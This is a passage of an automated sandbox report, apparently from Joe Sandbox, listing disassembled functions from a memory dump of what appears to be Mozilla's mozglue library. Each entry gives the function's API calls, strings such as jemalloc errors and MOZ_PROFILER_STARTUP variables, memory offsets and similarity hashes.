API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 70255e50119a360fb251d3657781c6c178a38708147f7c4316bcdf66387cfa02
Instruction ID: 920c07f4479e0727823b7513109759588b1b8c4065bd8fb92c56f32103b53e14
Opcode Fuzzy Hash: 70255e50119a360fb251d3657781c6c178a38708147f7c4316bcdf66387cfa02
Instruction Fuzzy Hash: 8C21C771A0431A9FCB04CF29D8856EA77F5EF44308F048139E84997340DB709A598F92

Function 6CA476C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CA476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CA47705

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA47717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CA4778F,00000000,00000000,00000000,00000000), ref: 6CA47731
free.MOZGLUE(00000000), ref: 6CA47760

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 68a448106127a2e0146dcc168aabbef75ceb9430dfb74d6ab2a3cba24c57cb3d
Instruction ID: 74c5286dc2f11679490d007ba56061e1c32dd5f6b6e6c0b71f72cf19ea1360c2
Opcode Fuzzy Hash: 68a448106127a2e0146dcc168aabbef75ceb9430dfb74d6ab2a3cba24c57cb3d
Instruction Fuzzy Hash: 0B11C4B19003656BE710AF769C44BABBEF8EF45354F148529F888E7300E7709884CBE2

Function 6CA20D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C9E3DEF), ref: 6CA20D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C9E3DEF), ref: 6CA20D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C9E3DEF), ref: 6CA20DAF

Strings

<jemalloc>, xrefs: 6CA20D92, 6CA20DB9
: (malloc) Error in VirtualFree(), xrefs: 6CA20D97, 6CA20DBE

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 4c0b4d4b8c50f9be1e2da624caa8048d93ec1a7ed4206f6baf5e5a21d4e6775e
Instruction ID: 438575e09b35863ae72fbdf7ef485be283e4fae6a273fc6c7e69165366d41294
Opcode Fuzzy Hash: 4c0b4d4b8c50f9be1e2da624caa8048d93ec1a7ed4206f6baf5e5a21d4e6775e
Instruction Fuzzy Hash: D2F0B4313913A923E728117B1C2AF6A2A6D6BC2B24F2C8125F304DADC0DA98E48146A4

Function 6CA37620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CA375C4,?), ref: 6CA3762B

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CA374D7,6CA415FC,?,?,?), ref: 6CA37644
GetCurrentThreadId.KERNEL32 ref: 6CA3765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA374D7,6CA415FC,?,?,?), ref: 6CA37663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA374D7,6CA415FC,?,?,?), ref: 6CA37677

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 2fb257a3f621893a7fdaf2d1296638a632b09659f5e3cf26b99a3e1a50b0808d
Instruction ID: b95b1baa12f9d84c0a184be8ca900f7d9fb7659fd27934c8f0dabb0cef1355a5
Opcode Fuzzy Hash: 2fb257a3f621893a7fdaf2d1296638a632b09659f5e3cf26b99a3e1a50b0808d
Instruction Fuzzy Hash: D7F0C271E10746ABD7008F22D888676B778FFEA259F118316F90447601E7B0A5D28BD0

Function 6CA41700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CA41800

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

Part of subcall function 6C9E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA23EBD,6CA23EBD,00000000), ref: 6C9E42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6CA418C7
Details, xrefs: 6CA41925
name, xrefs: 6CA41939

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 2837f2465f9772de5ba75f34d92baff301e177afeb6474b1d5289c2728275a8a
Instruction ID: fb6fa8cb9cd0ed534981106ce99e8e5ff84b6fa338ef9e358505edc72a49c594
Opcode Fuzzy Hash: 2837f2465f9772de5ba75f34d92baff301e177afeb6474b1d5289c2728275a8a
Instruction Fuzzy Hash: 7271E1B0A003469FCB04DF69D8547AABBB1FF85304F04866DD8154BB41D770AAE9CBE1

Function 6CA4B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CA4B0A6,6CA4B0A6,?,6CA4AF67,?,00000010,?,6CA4AF67,?,00000010,00000000,?,?,6CA4AB1F), ref: 6CA4B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CA4B0A6,6CA4B0A6,?,6CA4AF67,?,00000010,?,6CA4AF67,?,00000010,00000000,?), ref: 6CA4B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CA4B0A6,6CA4B0A6,?,6CA4AF67,?,00000010,?,6CA4AF67,?,00000010), ref: 6CA4B25F

Strings

map/set<T> too long, xrefs: 6CA4B1FA

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: a66320279e8840707444d84d126528bbed1786cc3ff59feb3dbf2eb29c18b0b2
Instruction ID: 6546273b4617490c0e28f468e7259d52e2de129b449903998b15a01e999b54ea
Opcode Fuzzy Hash: a66320279e8840707444d84d126528bbed1786cc3ff59feb3dbf2eb29c18b0b2
Instruction Fuzzy Hash: D3617974604645CFD701CF19D984A9ABBF2FF4A318F28C699D8598BB52C331EC85CBA1

Function 6CA0D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CBE8: GetCurrentProcess.KERNEL32(?,6C9E31A7), ref: 6CA1CBF1
Part of subcall function 6CA1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9E31A7), ref: 6CA1CBFA

EnterCriticalSection.KERNEL32(6CA6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D4F2
LeaveCriticalSection.KERNEL32(6CA6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D50B

Part of subcall function 6C9ECFE0: EnterCriticalSection.KERNEL32(6CA6E784), ref: 6C9ECFF6
Part of subcall function 6C9ECFE0: LeaveCriticalSection.KERNEL32(6CA6E784), ref: 6C9ED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D52E
EnterCriticalSection.KERNEL32(6CA6E7DC), ref: 6CA0D690
LeaveCriticalSection.KERNEL32(6CA6E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA1D1C5), ref: 6CA0D751

Strings

MOZ_CRASH(), xrefs: 6CA0D4BB

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: b3e16dde7b846366e1e9add73ca09a7548d1bd29fca77627f94b075793a6e459
Instruction ID: 88bfb98170996415820cc8558fea499230481e6f7314d8f8391256cdfbc54dc4
Opcode Fuzzy Hash: b3e16dde7b846366e1e9add73ca09a7548d1bd29fca77627f94b075793a6e459
Instruction Fuzzy Hash: 7E51D172B087028FD318CF29C59476AB7E1FB89748F148A2ED599C7F84D770A885CB51

Function 6CA34630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA34721

Strings

profiler-paused, xrefs: 6CA346E4
., xrefs: 6CA3476A
-%llu, xrefs: 6CA34733

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 53f2a294d700bf3417db90515b32f8bc078bea0aaaeb5193fc1ebcf5dcb5d22c
Instruction ID: 2c9c7a791c79428196f46682c172e9ebf81baff31d562957b15e69735ba0c9c2
Opcode Fuzzy Hash: 53f2a294d700bf3417db90515b32f8bc078bea0aaaeb5193fc1ebcf5dcb5d22c
Instruction Fuzzy Hash: 2C417571F087189BCB08CF79D86119EBBE5AF85744F14C63DE8499BB41EB318885C741

Function 6CA346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA34721

Part of subcall function 6C9E4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA23EBD,00000017,?,00000000,?,6CA23EBD,?,?,6C9E42D2), ref: 6C9E4444

Strings

profiler-paused, xrefs: 6CA346E4
., xrefs: 6CA3476A
-%llu, xrefs: 6CA34733

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26affe1aa593e8754a8f35a689f06e43633039040fdc028eb233f637572063ba
Instruction ID: 65d1d526032f30f03b6bf54f6c39490739342f4a3c504d5c9d02860024c8dec2
Opcode Fuzzy Hash: 26affe1aa593e8754a8f35a689f06e43633039040fdc028eb233f637572063ba
Instruction Fuzzy Hash: 53313971F042189BCB0CCF6DD89569DBFE6DB88314F19823DE809DBB41E77198848B90

Function 6CA3B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA23EBD,6CA23EBD,00000000), ref: 6C9E42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA3B127), ref: 6CA3B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA3B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA3B4E4

Strings

pid:, xrefs: 6CA3B4DE

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 5c9d4dc6388396eb9475d781466dfd40026ce26ba2cf3328799fcff0e3e3f114
Instruction ID: fa8ed2f8a6f28ba92725aaf4f36aeb9389801cd0e59dd296000d79371d3298f4
Opcode Fuzzy Hash: 5c9d4dc6388396eb9475d781466dfd40026ce26ba2cf3328799fcff0e3e3f114
Instruction Fuzzy Hash: ED311731A016289FCB00DFAAE850AEEB776FF04318F581619D456A7A41D731E4C9CBA1

Function 6CA2E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA2E577
AcquireSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2E584
ReleaseSRWLockExclusive.KERNEL32(6CA6F4B8), ref: 6CA2E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA2E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA2E777
MOZ_PROFILER_STARTUP, xrefs: 6CA2E5A1, 6CA2E5CC, 6CA2E5FF, 6CA2E62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA2E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA2E722, 6CA2E750, 6CA2E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA2E826, 6CA2E850

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 8560a052160a82b2fee6294921a3bdada622dac7578a5692d976f763e467c4ba
Instruction ID: ee62e5df6391bd9b3158c5606d3fa85939a1467c72a578ac6cb41b16a7acd2e6
Opcode Fuzzy Hash: 8560a052160a82b2fee6294921a3bdada622dac7578a5692d976f763e467c4ba
Instruction Fuzzy Hash: 89118E71604355DFCB049F2AC848B69BBB4FB89728F05861DE89647F50C774A886CBA1

Function 6CA30C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA30CD5

Part of subcall function 6CA1F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA1F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA30D40
free.MOZGLUE ref: 6CA30DCB

Part of subcall function 6CA05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA05EDB
Part of subcall function 6CA05E90: memset.VCRUNTIME140(6CA47765,000000E5,55CCCCCC), ref: 6CA05F27
Part of subcall function 6CA05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA05FB2

free.MOZGLUE ref: 6CA30DDD
free.MOZGLUE ref: 6CA30DF2

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0f70451676c08df7571d92d20bb50e4470476eba5018731852d43f2255f49306
Instruction ID: 894ce1cb71f29966c6775782407f036e89e4ba3568f118c9b2a14f347058d540
Opcode Fuzzy Hash: 0f70451676c08df7571d92d20bb50e4470476eba5018731852d43f2255f49306
Instruction Fuzzy Hash: 08413871A087948BD320CF29C18079AFBE5BFC9754F519A2EE8D887B50D7709488CB82

Function 6CA3CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA2DA31,00100000,?,?,00000000,?), ref: 6CA3CDA4

Part of subcall function 6C9FCA10: malloc.MOZGLUE(?), ref: 6C9FCA26

Part of subcall function 6CA3D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA3CDBA,00100000,?,00000000,?,6CA2DA31,00100000,?,?,00000000,?), ref: 6CA3D158
Part of subcall function 6CA3D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA3CDBA,00100000,?,00000000,?,6CA2DA31,00100000,?,?,00000000,?), ref: 6CA3D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA2DA31,00100000,?,?,00000000,?), ref: 6CA3CDC4

Part of subcall function 6CA37480: ReleaseSRWLockExclusive.KERNEL32(?,6CA415FC,?,?,?,?,6CA415FC,?), ref: 6CA374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA2DA31,00100000,?,?,00000000,?), ref: 6CA3CECC

Part of subcall function 6C9FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C9FCAA2

Part of subcall function 6CA2CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA3CEEA,?,?,?,?,00000000,?,6CA2DA31,00100000,?,?,00000000), ref: 6CA2CB57
Part of subcall function 6CA2CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA2CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA3CEEA,?,?), ref: 6CA2CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA2DA31,00100000,?,?,00000000,?), ref: 6CA3D058

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 24746313ea974638a8fb44499ec61818af41fc2a553446d87aff819e7ff06a3e
Instruction ID: 50d7d8899c511a64e1878f96b43ef87356ad20cff989728afeb76179a1fc9f7f
Opcode Fuzzy Hash: 24746313ea974638a8fb44499ec61818af41fc2a553446d87aff819e7ff06a3e
Instruction Fuzzy Hash: F7D18D71A04B16DFC708CF28C990B99B7E1BF99308F05972DD8598B711EB31E9A5CB81

Function 6C9F1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9F17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9F18EE
free.MOZGLUE(?), ref: 6C9F1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9F194C

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 73f1aa46f629aaf50b4f1a15cc3d58cd219ba76064a3b874795d35e1498cd535
Instruction ID: 7883cbb0938b7604bc8f2200a605e862f819ebc435fef93015d5382289350bb3
Opcode Fuzzy Hash: 73f1aa46f629aaf50b4f1a15cc3d58cd219ba76064a3b874795d35e1498cd535
Instruction Fuzzy Hash: 7D81C3B0A112059FCB08CF68D9949BEBBB5FF8A314F04456CE825AB754D730E856CBE1

Function 6CA05C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA05D40
EnterCriticalSection.KERNEL32(6CA6F688), ref: 6CA05D67
__aulldiv.LIBCMT ref: 6CA05DB4
LeaveCriticalSection.KERNEL32(6CA6F688), ref: 6CA05DED

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: b7d6b48f9a71ea1f5fd8bf17aaaf405fbcca63702bb9304ed7914da062e164d0
Instruction ID: 3e0de0546bcfa2ac60052d68e5954b16dc31624ddfe3b1975d30bd02d9190084
Opcode Fuzzy Hash: b7d6b48f9a71ea1f5fd8bf17aaaf405fbcca63702bb9304ed7914da062e164d0
Instruction Fuzzy Hash: 5C513C75E002568FCF08CEA9C954BBEBBB2FB85308F19861ED815A7750D7706986CB90

Function 6C9ECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9ECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C9ECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C9ECF4E

Strings

0, xrefs: 6C9ECF30

Memory Dump Source

Source File: 00000000.00000002.2755842972.000000006C9E1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C9E0000, based on PE: true

Associated: 00000000.00000002.2755805573.000000006C9E0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755907922.000000006CA5D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755943740.000000006CA6E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2755972976.000000006CA72000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c9e0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 9f93728eb3195fc85d465dad37dc9ec3e2fdc6624e6170177769f253b89a4195
Instruction ID: 41c2081b971b3bd392b36aa2be9f1da48e830811cbb65ca34e49ee0d2eb237d4
